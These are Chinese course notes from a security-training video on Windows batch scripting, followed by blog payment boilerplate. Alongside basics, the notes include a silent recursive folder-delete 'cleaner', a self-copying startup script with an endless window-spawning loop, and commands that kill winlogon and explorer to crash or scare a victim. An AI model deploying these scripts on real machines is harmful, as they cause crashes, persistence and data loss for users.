[千锋-网安学习篇-day3]1-批处理编写


视频链接: https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=14
在这里插入图片描述

批处理编写

自上而下成批的处理每一条命令,直到执行最后一条的.bat为扩展名的文档

基础设置

@echo off		//关闭回显,即关闭执行过程
color 0a		//颜色设置,调节颜色color ?
title huminv2.0 //标题设置
echo.			//空行

案例1:垃圾清理

@echo off
color 0a
title clear laji program
echo ---------------------------
echo 	clear your system laji 
echo 	if bei lan jie 
echo	please fangqi
echo ---------------------------
pause
echo.
echo laji is clearing......
d: >nul 2>nul	//进入D盘(不一定在D的根目录)
cd \ >nul 2>nul	//到达D盘的根目录
cd ./demo/willdel/	//必须增加该句子,到达D盘的下面将删除的文件夹。在该文件夹中配置一些文件及文件夹。若省略该命令,直接运用下面的命令,你D盘的东西直接物理删除,等着哭吧
rd . /s /q >nul 2>nul	//当前文件夹的子文件全沉默删除
ping -n 10 127.0.0.1 >nul 2>nul	//拼本地地址
echo congratulations!!! laji qingli over!
pause

// 对于>nul 2>nul是可以屏蔽一切屏幕的输出
//>nul 对于命令正确的使用,输出显示重定向为nul,清空了
//2>nul对于命令不正确时,还是会有输出,2>nul对因为命令错误输出内容进行屏蔽

案例2:创建指定大小的文件

d:
cd \
fsutil file createnew d:\sys.ini 40960000
fsutil file createnew d:\sys1.ini 40960000
fsutil file createnew d:\sys2.txt 4096
fsutil file createnew d:\sys3.txt 4096
fsutil file createnew d:\sys4.txt 4096
注:需要管理员的身份权限

案例3(病毒):把源文件本身添加到开机启动项目中,即设置了开机自启

该文件取名:qq.bat

//开机自启循环
copy qq.bat "%userprofile%\「开始」菜单bai\程序\启动"
:d		//模块D,打开命令窗口,循环
start
goto d

案例4:程序运用

.bat文件

@echo off		//关闭回显,即关闭执行过程
color 0a		//颜色设置,调节颜色color ?
title huminv2.0 //标题设置
echo.			//空行

:menu
cls				//清屏
echo ----------------------
echo         菜单
echo		1.修改管理员密码
echo		2.定时关机
echo		3.退出本程序
echo------------------------

set /p num=你的选择是:		//设置变量,常用与在脚本中的互动赋值。
if "%num%"=="1" goto 1		//if-goto的用法
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
pause						//暂停
goto menu


:1							//区块
set /p u=请输入用户名:
set /p p=请输入用户密码:
net user %u% %p% >nul
echo 你的密码设置成功!
pause
goto menu

:2
set /p time=请输入时间:
shutdown -s -t %time%
set /p x=是否取消(1:是,0:否):
if "%x%"=="1" shutdown -a
goto menu
pause

:3
exit

案例5(病毒):强制杀死指定的进程

ntsd -c q -pn winlogon.exe		//针对xp/2003蓝屏操作
taskkill /im explorer.exe /f	//强行关闭进程-桌面进程
echo 傻了吧
ping -n 5 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓唬你的
pause
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值